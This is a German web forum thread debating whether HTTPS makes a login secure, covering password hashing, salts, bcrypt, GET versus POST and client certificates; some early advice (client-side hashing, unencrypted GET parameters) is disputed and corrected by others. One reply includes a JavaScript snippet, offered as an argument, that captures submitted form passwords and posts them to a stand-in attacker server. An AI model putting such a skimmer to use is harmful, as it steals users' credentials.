Wenn ich ein SSL Zertifikat eingestellt habe, und oben das Grüne Schloss neben der Adresse erscheint, kann ich dann ein Login auf meiner Webseite einfach so ohne weiters programmieren? Das heißt ich muss mir überhaupt keine Sorgen mehr machen um irgendwelche Daten, die übertragen werden? Ich frage deshalb, weil ich früher SSL nicht kannte und bis dahin auch javascriptmäßig eine md5 Verschlüsselung durchgeführt habe, und erst dann Benutzername und Passwort verschickt habe. Und dann PHP Seitig ausgewertet habe.
Sabrina schrieb: > Wenn ich ein SSL Zertifikat eingestellt habe, und oben > das Grüne Schloss neben der Adresse erscheint, kann ich > dann ein Login auf meiner Webseite einfach so ohne weiters > programmieren? > Das heißt ich muss mir überhaupt keine Sorgen mehr machen um > irgendwelche Daten, die übertragen werden? Jein. Das Schloss zeigt an, dass die Verbindung zwischen Browser und Webserver verschlüsselt stattfindet. Aber wenn der Server das Passwort im Klartext verarbeitet und vergleicht, hast du dort eine Sicherheitslücke. Wer Zugriff auf deine Daten hat, kann die Passwörter auslesen und missbrauchen. Die größten Gefahren für Unternehmen befinden sich immer innerhalb der eigenen Wände. Gerade nach Einführung der DSGVO ist das für persönliche Passwörter ein ganz heißes Eisen. Ich rate Dir daher dazu, Passwörter nirgendwo im Klartext zu speichern und auch nicht im Klartext zu übermitteln. Speichere einen sicheren Hash (MD5 gilt nicht mehr als sicher), übermittle die Benutzereingabe auch nur als Hash und vergleiche diese Hashes miteinander. Wenn dein Chef/Projektleiter meint, er brauche das Passwort für was auch immer, dann weise schriftlich auf das Risiko hin und bewahre eine Kopie von deinem Widerspruch in einem Safe auf. Informiere euren Datenschutzbeauftragen. Erst danach programmierst du es, wenn es unvermeidbar ist. Zeitens: Die Sicherheit von HTTPS steht und fällt mit der Vertrauenswürdigkeit der Zertifikate. Gerade erst wurde bekannt, dass die Software von Sennheiser Headsets ein Root Zertifikat installiert und quasi direkt daneben den dazugehörigen private Schlüssel (von Sennheiser) samt Passwort auf die festplatte installiert. Die Folge ist: Hacker können ganz einfach beliebig viele Zertifikate von diesem ableiten und für bösartige Server benutzen. Der Browser wird sie als vertrauenswürdig (grün) kennzeichnen, weil er das zugehörige Root Zertifikat findet. Damit können Bösewichte sich in die Internetverbindung einklinken und alles im Klartext mitlesen. Kein normaler Mensch wird bemerken, dass das grüne Zertifikat gar nicht dein ist, sondern eins von Sennheiser. Und das ist nur ein ganz aktuelles Beispiel von vielen weiteren. Mehrere namhafte Zertifizierer wurden erwischt, Zertifikate ohne Prüfung des Inhabers ausgestellt und weltweit ausgerollt zu haben. Wenn der Browser also meldet, dass das Zertifikat von sparkasse.de sicher sei, weil es ganz bestimmt der Sparkasse gehört, dann kann es auch ein Irrtum sein. Es ist bereits so oft passiert, dass mehreren Zertifizierern die Erlaubnis für Ihr Business entzogen wurde.
Bitte nenne uns doch die Website, damit wir wissen, wo wir unsere Daten ganz sicher nicht eingeben sollten. Mal im Ernst: Wenn man schon so fragt, warum nimmt man dann nicht irgendetwas fertiges für einen Login? Mit "gesalzenen Streuwerten" (salted hashes) und vernünftigen Hash-Algorithmen dürfte man wohl länger was von der Website haben als mit md5 oder zusammengeklicktem SSL (Am besten mit RSA noch...)
Stefanus F. schrieb: > Es ist bereits so oft passiert, dass mehreren Zertifizierern die > Erlaubnis für Ihr Business entzogen wurde. Gibts dafür tatsächlich sowas wie eine offizielle Erlaubnis? Also abgesehen davon, das "Finger runter" durch Google ein Todesurteil darstellt.
Stefanus F. schrieb: > Ich rate Dir daher dazu, Passwörter nirgendwo im Klartext zu speichern > und auch nicht im Klartext zu übermitteln. Speichere einen sicheren Hash > (MD5 gilt nicht mehr als sicher), übermittle die Benutzereingabe auch > nur als Hash und vergleiche diese Hashes miteinander. Wenn ich mit Javascript einen Hash erzeuge, funktioniert der Login nur dann, wenn Javascript zugelassen ist. Stefanus F. schrieb: > Jein. Das Schloss zeigt an, dass die Verbindung zwischen Browser und > Webserver verschlüsselt stattfindet. Aber wenn der Server das Passwort > im Klartext verarbeitet und vergleicht, hast du dort eine > Sicherheitslücke. das heißt ich müsste die passwörter für die Logins in der mysql Tabelle beispielsweise mit md5 gehasht gespeichert lassen. Wenn nun der Benutzer das Passwort eingibt, wird dieses ja so und so sicher über SSL übertragen. Wenn es angekommen ist, dann ist es ja im Klartext. Jetzt wird gehasht und mit der mysql Tabelle verglichen. Somit ist das Passwort nur für kurze Zeit im klartext und nicht dauerhaft. Habe ich das so richtig verstanden?
Sabrina schrieb: > Wenn ich mit Javascript einen Hash erzeuge, funktioniert der Login nur > dann, wenn Javascript zugelassen ist. Ja, ist dann halt so. Einen Tod muss man sterben. > Habe ich das (andere) so richtig verstanden? Nein, überhaupt nicht. Zunächst mal sollst du HTTPS als Hilfreich aber nicht als sicher betrachten. Du sollst das Passwort im Browser Verhashen, dann den Hash an den Server senden. Der Server kennt das echte Passwort des Benutzer gar nicht. Er kann nur den Hash mit dem in der Db gespeichertem hash vergleichen. Wie gesagt ist MD5 nicht mehr sicher. Verwende ein gesalzenes SHA256 (https://crackstation.net/hashing-security.htm#salt). Wenn jemand die Verbindung beschnüffelt, oder die DB ausliest, oder die Festplatte klaut oder sonst irgendwo bei Dir Daten abgreift, dann bekommt er nur ganz viele Hashes. Damit kann er nicht sehr viel anfangen, weil diese Hashes nur auf deiner Seite funktionieren werden. Viel Schimmer ist, wenn ein Bösewicht an tausende Klartext-Passwörter kommt. Denn die meisten Leute benutzen auf zahlreichen Webseiten die gleichen Passwörter. Wenn er den Browser des Benutzers Hackt, kannst du nichts machen, aber dann ist es rein Rechtlich auch nicht dein Problem. Außerdem kommt der Hacker so nur an die Passwörter einer Person, nicht an deinen gesamten Kundenkreis.
Stefanus F. schrieb: > Zunächst mal sollst du HTTPS als Hilfreich aber nicht als sicher > betrachten. Wenn eine TLS Verbindung zwischen deinem Server mit deinem nur dir bekannten Private Key und einem Browser kompromittiert ist, hast du sowieso schon verloren. Darüber wird nähmilch auch die Seite und die Javascripts zum browser gesendet, und ein angreifer kann dann auch einfach bequem mit eigenem JS das Passwort aus der Form zu sich senden lassen. > Du sollst das Passwort im Browser Verhashen, dann den Hash an den Server > senden. Völlig nutzlos, dann ist nachher der Hash genausogut wie das Passwort selbst. Mit challange response könnte man wiederum die übertragung absichern, aber dann geht das mit dem hashen wieder nicht mehr. Hashe das ding einfach Serverseitig, so wie alle anderen auch. Ausserdem, md5 & sha1, alles längst veraltet. Verfahren wie bcrypt sind momentan angesagt, die erhöhen die Hashdauer dank variabler Hashdurchläufe. Am sicherstenn wäre es wohl mit clientseitig erstellten Zertifikaten, dafür gab es mal die keygen elemente. Hat aber kein schwein verwendet (abgesehen vom solid, soviel zu Lees einfluss im konsortium), und wurde wieder entfernt.
Daniel A. schrieb: > Wenn eine TLS Verbindung zwischen deinem Server mit deinem nur dir > bekannten Private Key und einem Browser kompromittiert ist, hast du > sowieso schon verloren. Darüber wird nähmilch auch die Seite und die > Javascripts zum browser gesendet, und ein angreifer kann dann auch > einfach bequem mit eigenem JS das Passwort aus der Form zu sich senden > lassen. This. Also bitte, clientseitig vorhashen und dafür JS voraussetzen? Was für ein Unsinn. Entweder der Übertragungsweg ist abgesichert oder er ist es nicht. Und wenn er es nicht ist, dann kann ich alles mithören was ich brauche um mich einzuloggen. In die DB kommt nur Hash samt Salt, nichts im Klartext. Stefanus F. schrieb: > Ja, ist dann halt so. Einen Tod muss man sterben. Ich hoffe du verdienst mit Web nicht professionell dein Geld, ...
> Ich hoffe du verdienst mit Web nicht professionell dein Geld, ...
Ich hoffe, du bist kein Berater.
Es geht mir darum, dass der Server niemals das Klartext-Passwort des
Benutzers kennen soll. Weder in der Datenbank, noch im Speicher.
Hintergrund ist, dass die allermeisten Menschen das gleiche Passwort auf
sehr vielen Webseiten verwenden. Wenn ein Hacker tausende Passwörter vom
Server erbeutet, haben die Benutzer ein ernsthaftes Problem.
Ein gesalzener Hash ist insofern sicherer, dass er nur auf dieser einen
Webseite nutzbar ist. Programme mit Klartext Passwörtern (egal ob via
HTTPS oder nicht) bekommst du heute durch kein ernsthaftes
Security-Audit mehr durch.
Im Übrigen wird bei eMails zu Recht ein noch komplexeres (Challenge)
Verfahren verwendet. Da schickt der Server dem Client einen
Wegwerf-Salt, der nur dieses eine mal gültig ist. Wer ein so einen Hash
klaut, kann ihn gar nicht wieder verwenden, denn der Salt ist bis dahin
schon verfallen.
Ich habe oben in meiner ersten Antwort bereits auf eine Anleitung
verwiesen, die das umfangreich erklärt.
Stefanus F. schrieb: > Es geht mir darum, dass der Server niemals das Klartext-Passwort des > Benutzers kennen soll. Weder in der Datenbank, noch im Speicher. Schon klar, aber wenn du einfach nen Hash raussendest und den zum Vergleichen nutzt brauche ich als Angreifer das Klartext-Passwort nicht kennen. Das macht keinen Unterschied. Oder hasht du den Hash nochmal nach auf dem Server? Stefanus F. schrieb: > Programme mit Klartext Passwörtern (egal ob via > HTTPS oder nicht) bekommst du heute durch kein ernsthaftes > Security-Audit mehr durch. In Umgebungen wo sowas notwendig ist, sollte man direkt auf Client Zertifikate setzen.
Abradolf L. schrieb: > Schon klar, aber wenn du einfach nen Hash raussendest und den zum > Vergleichen nutzt brauche ich als Angreifer das Klartext-Passwort nicht > kennen. Das macht keinen Unterschied. Wie gesagt macht es einen Unterschied auf den anderen Web-Seiten, wo der Hash nicht funktioniert, das selbe Passwort aber funktionieren würde. Es ist ein guter Schritt zu mehr Sicherheit. Man kann weitere Schritte gehen. 100% Sicherheit gibt es aber leider nicht.
Stefanus F. schrieb: > Wie gesagt macht es einen Unterschied auf den anderen Web-Seiten, wo der > Hash nicht funktioniert, das selbe Passwort aber funktionieren würde. Wo siehst du den Angriffsvektor, der nicht automatisch noch weitreichendere Folgen hätte? HTTPS Übertragung broken? MITM fischt dir noch mehr ab. Klartext-Passwort kurzzeitig im Speicher auslesbar? Hast ein ernsthaftes Server-Problem, wenn das jemand Drittes ablesen kann. Ich verstehe deinen Concern schon, nur dafür beim Nutzer JS zu erzwingen ist meines Erachtens daneben geschossen, für einen fragwürdigen Nutzen. Gegen supersimpelst Passwörter hilft auch kein gesalzener Hash mehr, weil eine kleine Rainbowtable für einen speziellen Salt in Kombination mit den gängigen Hashverfahren, schnell erstellt ist.
Abradolf L. schrieb: > Klartext-Passwort kurzzeitig im Speicher auslesbar? Hast ein ernsthaftes > Server-Problem, wenn das jemand Drittes ablesen kann. Wie gesagt sollten Firmen sich auch gegen Gefahren von Innen wappnen. Kein Mitarbeiter sollte imstande sein, Passwortlisten zu verkaufen. So etwas passiert nicht nur aus Boshaftigkeit, es kann auch Erpressung dahinter stecken. > Ich verstehe deinen Concern schon, nur dafür beim Nutzer JS zu erzwingen > ist meines Erachtens daneben geschossen, für einen fragwürdigen Nutzen. Man kann ja beides kombinieren. Wenn JS aktiviert ist, nutzt man es, ansonsten halt Klartext. Dann ist der Benutzer aber selber Schuld. Wer Angst hat, kann sogar noch eine Warnung einblenden. > Gegen supersimpelst Passwörter hilft auch kein gesalzener Hash mehr, > weil eine kleine Rainbowtable für einen speziellen Salt in Kombination > mit den gängigen Hashverfahren, schnell erstellt ist. Mag sein, "supersimpelst Passwörter " war aber hier nicht das Thema.
Zurueck zur Sicherheit von SSL. Die GET Parameter werden, da Teil der URL, lesbar uebertragen waehrend die POST parameter hingegen verschluesselt sind. Die GET Parameter sind diese : http://www.bala.com/index.php?user=abcd&password=1234 Das Einlesen der parameter geschieht in PHP etwa so : if isset($_GET[user]) { $user=$_GET[user]; } die html Seite scheint etwa so : <body><form method="GET" .. resp <body><form method="POST"..
:
Bearbeitet durch User
Jetzt ist G. schrieb: > Die GET Parameter sind diese User Credentials per GET übertragen? Ich denke wer sowas macht, bei dem ist dann schon alles verloren, ... Aber Recht hast du damit.
Jetzt ist G. schrieb: > Zurueck zur Sicherheit von SSL. Die GET Parameter werden, da Teil der > URL lesbar uebertragen Sorry, das ist kompletter Unsinn. Lediglich der Hostname wird (noch) unverschlüsselt übertragen. Macht man natürlich aber trotzdem per POST.
:
Bearbeitet durch User
Stefanus F. schrieb: > Es geht mir darum, dass der Server niemals das Klartext-Passwort des > Benutzers kennen soll. Weder in der Datenbank, noch im Speicher. Wenn man zugriff auf den RAM des Servers oder eines Programm darauf hat, ist es auch ein Einfaches den Server JS-Code zum Client senden zu lassen. Und wenn ein Angreifer da dann sowas mitsenden lässt (ungetestet):
1 | addEventListener("submit", function(event){
|
2 | var form = event.target.form || event.target; |
3 | if(!form || !(form instanceof HTMLFormElement)) |
4 | return; |
5 | var pwinput = Array.from(form.querySelectorAll("input[type=password]"));
|
6 | if(!pwinput.length) |
7 | return; |
8 | var payload = {
|
9 | password_fields: pwinput.map(function(x){return x.name;}),
|
10 | location: location.href, |
11 | action: form.action, |
12 | method: form.method, |
13 | inputs: Array.from(new FormData(form).entries()) |
14 | }; |
15 | fetch("https://totally_ads.mymallicousserver.com/collect",{
|
16 | method: 'POST', |
17 | headers: { 'Content-Type': 'application/json' },
|
18 | body: JSON.stringify(payload) |
19 | }).catch(function(){});
|
20 | }, true); |
Dann wird das plaintext Passwort zum Angreifer gesendet, bevor dein JS dieses hasht. Klar, eine DB ohne hashs wäre problematisch, weil man dann alle Passwörter hätte. Aber Passwörter im RAM bleiben da nicht ewig, zumindest wenn man kein memory leak hat. Dort ist es dann viel einfacher und effektiver, einfach einen eigenen Payload zum client mitsenden zu lassen. Und selbst mit gehasten Passwörtern, ein Angreifer, der auf den Server kommt, kann dank DSGVO mit abgegriffenen E-Mails eine Firma genauso gut erpressen, wie mit abgegriffenen Passwörtern. Und bezüglich password reuse, das Problem lässt sich nur mit einer Sensibilisierung des Benutzers lösen, denn wenn dieser Passwörter wiederverwendet, hat er ein Problem, ganz egal "sicher" die Seiten geschrieben sind. Stefanus F. schrieb: > Im Übrigen wird bei eMails zu Recht ein noch komplexeres (Challenge) > Verfahren verwendet. Da schickt der Server dem Client einen > Wegwerf-Salt Das ist eher die Ausnahme als die Regel. Von https://en.wikipedia.org/wiki/SMTP_Authentication#Details > As with all SMTP extensions, SMTP AUTH is advertised in the EHLO response, along with a list of supported authentication methods. > These methods may change after issuing STARTTLS, typically allowing plain text passwords in the latter case only Gmail beispielsweise unterstützt zwar momentan auch ein zwei der anderen verfahren: "LOGIN PLAIN XOAUTH2 PLAIN-CLIENTTOKEN OAUTHBEARER XOAUTH", aber die Mailprogramme wie Thunderbird und co. verwenden dann ja doch wieder PLAIN oder LOGIN.
Daniel A. schrieb: > Und bezüglich password reuse, das Problem lässt sich nur mit einer > Sensibilisierung des Benutzers lösen, denn wenn dieser Passwörter > wiederverwendet, hat er ein Problem, ganz egal "sicher" die Seiten > geschrieben sind. Das ist leider nicht einfach, weil immer mehr Web-Dienste auf Single-Sign-On über Facebook, Google (und ähnliche) setzen. Das erscheint den Leuten als modern und praktisch. Wenn du denen erzählst, sie sollen überall andere Passwörter verwenden, ist das zwar vernünftig, aber auch viel zu altmodisch - leider.
Stefanus F. schrieb: > Es geht mir darum, dass der Server niemals das Klartext-Passwort des > Benutzers kennen soll. Weder in der Datenbank, noch im Speicher. [...] > Im Übrigen wird bei eMails zu Recht ein noch komplexeres (Challenge) > Verfahren verwendet. Da schickt der Server dem Client einen > Wegwerf-Salt, der nur dieses eine mal gültig ist. Wer ein so einen Hash > klaut, kann ihn gar nicht wieder verwenden, denn der Salt ist bis dahin > schon verfallen. Hüstel. Das hat jetzt mit Web wenig (Digest-Auth gibt es da zwar theoretisch auch, aber praktisch ...) bis gar nichts zu tun, aber nur damit dir der Widerspruch deiner Aussagen klar wird: CRAM-MD5 und Digest-MD5, die beiden üblichen Methoden für kryptografische Authentifizierung bei Email, basieren auf einem "shared secret", das beide Seiten, Client und Server, kennen (müssen). Und das ist genau dein Passwort. Und der Server-Prozess muss das im Klartext nutzen, denn genau so ist das verfahren definiert. Dafür gehen da niemals Passwörter in irgendeiner Form über den Kommunikationskanal. Wie du schon schriebst: einen Tod muss man sterben. Persönlich ist es mir lieber, wenn ich den Kommunikationskanal nicht sichern muss, denn er ist IMHO deutlich leichter angreifbar als die Kommunikationsendpunkte. YMMV.
Sabrina schrieb: > Stefanus F. schrieb: >> Jein. Das Schloss zeigt an, dass die Verbindung zwischen Browser und >> Webserver verschlüsselt stattfindet. Aber wenn der Server das Passwort >> im Klartext verarbeitet und vergleicht, hast du dort eine >> Sicherheitslücke. > > das heißt ich müsste die passwörter für die Logins in der mysql Tabelle > beispielsweise mit md5 gehasht gespeichert lassen. Nein, das solltest du nicht tun. Du solltest sowas wie scrypt benutzen. md5 ist für jede Anwendung, die nicht rein "ist da zufällig ein Bit umgefallen?" ist, als komplett defekt zu betrachten. Generell solltest du keine Sicherheitsfunktionen selbst entwickeln, wenn du dir nicht sehr sicher bist, dass du weißt was du da tust.
:
Bearbeitet durch User
Ich kenne mich nicht besonders gut mit Internet und dem Drumherum aus. Deshalb frage ich mich, warum immer wieder zu einem sehr langen und komplizierten Paßwort geraten wird. Wenn ich mich einmal mit dem falschen Paßwort versuche einzuloggen, muß ich doch sowieso ein paar Sekunden warten, bevor ich einen weiteren Versuch habe. Da ist doch eine Zeitsperre drin. Ich kann demnach nicht alle Wörter eines Wörterbuches zugleich für das Einloggen eingeben. Wäre das möglich, wäre allerdings ein kompliziertes Paßwort anzuraten. Könnte mich mal jemand aufklären?
juergen schrieb: > Da ist doch eine Zeitsperre drin. Das ist applikationsabhängig wieviele Versuche pro Sekunde eine Applikation zu lässt (oder der darunterliegende Server an Requests verarbeiten kann).
juergen schrieb: > Da ist doch eine Zeitsperre drin. Ich kann demnach nicht > alle Wörter eines Wörterbuches zugleich für das Einloggen eingeben. Das stimmt, wenn Du direkt die Eingabemaske angreifst. Falls dir aber irgendein Hash (+Salt) in die Hände fällt, dann kannst Du zu Hause dein GPU-Cluster darauf loslassen, egal ob es eine Zeitsperre in der Anwendung gibt oder nicht.
juergen schrieb: > Ich kenne mich nicht besonders gut mit Internet und dem Drumherum aus. > > Deshalb frage ich mich, warum immer wieder zu einem sehr langen und > komplizierten Paßwort geraten wird. > > Wenn ich mich einmal mit dem falschen Paßwort versuche einzuloggen, muß > ich doch sowieso ein paar Sekunden warten, bevor ich einen weiteren > Versuch habe. Da ist doch eine Zeitsperre drin. Ich kann demnach nicht > alle Wörter eines Wörterbuches zugleich für das Einloggen eingeben. Wäre > das möglich, wäre allerdings ein kompliziertes Paßwort anzuraten. > Könnte mich mal jemand aufklären? Das ist kein besonders guter Ratschlag. Stattdessen solltest du am besten einen Passwort-Manager benutzen, der dir für jedes Login ein neues, zufälliges Passwort generiert. Ob das dann 7 oder 12 oder 70 Zeichen lang ist, ist relativ egal.
Danke an alle Beteiligten für die schnelle Beantwortung meiner Frage.
Stefanus F. schrieb: > der Server niemals das Klartext-Passwort des > Benutzers kennen soll. Weder in der Datenbank, noch im Speicher. Diese sehr harte Anforderung würden nur SSL Client-Zertifikate erfüllen. Dann bräuchte man keine Passwörter mehr für https, denn man erkennt den User an seinem Zertifikat.
Jim M. schrieb: > Stefanus F. schrieb: >> der Server niemals das Klartext-Passwort des >> Benutzers kennen soll. Weder in der Datenbank, noch im Speicher. > > Diese sehr harte Anforderung würden nur SSL Client-Zertifikate erfüllen. > Dann bräuchte man keine Passwörter mehr für https, denn man erkennt den > User an seinem Zertifikat. Zertifikate sind eine Möglichkeit. Wie gesagt ist die Challenge-Authentisierung wie bei SMTP eine weitere Möglichkeit (mit weniger Administrationsaufwand vor allem auf der Client Seite).
Stefanus F. schrieb: > Zunächst mal sollst du HTTPS als Hilfreich aber nicht als sicher > betrachten. > > Du sollst das Passwort im Browser Verhashen, dann den Hash an den Server > senden. Der Server kennt das echte Passwort des Benutzer gar nicht. Er > kann nur den Hash mit dem in der Db gespeichertem hash vergleichen. > > Wie gesagt ist MD5 nicht mehr sicher. Verwende ein gesalzenes SHA256 > (https://crackstation.net/hashing-security.htm#salt). Stefanus, bitte entschuldige, ansonsten schätze ich Deine Kompetenz sehr, aber hier liegst Du IMO komplett daneben. Denn woher sollte der Browser denn wissen, mit welchen Salt das Paßwort des Benutzers gespeichert wurde? Was Sabrina geschrieben hat, war schon vollkommen richtig. Warum sollte der Browser das Klartext-Paßwort nicht über eine TLS-gesicherte Verbindung übertragen? Wenn ein Angreifer das Klartext-Paßwort auf dem Server auslesen kann, dann ist ohnehin Hopfen und Malz verloren, und Dein Hashing im Browser nutzt an dieser Stelle gar nicht. Denn als allerersten Schritt würde unser Angreifer das vom Server ausgelieferte Javascript so manipulieren, daß es ihm wieder das Klartext-Paßwort übergibt...
Jetzt ist G. schrieb: > Zurueck zur Sicherheit von SSL. Die GET Parameter werden, da Teil der > URL, lesbar uebertragen waehrend die POST parameter hingegen > verschluesselt sind. Nein. TLS (früher: SSL) setzt auf dem Netzwerklayer an, anders gesagt: der gesamte Traffic, der über einen TLS-gesicherten Socket läuft, wird dabei transparent ver- und entschlüsselt. Das betrifft die gesamte Payload der darüber liegenden Protokolle, hier HTTP, und natürlich auch dessen GET-Parameter. Das Problem bei GET-Parametern ist in diesem Falle ein ganz anderes, nämlich daß sie dadurch wahrscheinlich im Klartext in den Logdateien des Servers landen. Deswegen ist POST an dieser Stelle das Mittel der Wahl.
Thread beobachten
Seitenaufteilung abschaltenBitte melde dich an um einen Beitrag zu schreiben. Anmeldung ist kostenlos und dauert nur eine Minute.
Bestehender Account
Schon ein Account bei Google/GoogleMail? Keine Anmeldung erforderlich!
Mit Google-Account einloggen
Mit Google-Account einloggen
Noch kein Account? Hier anmelden.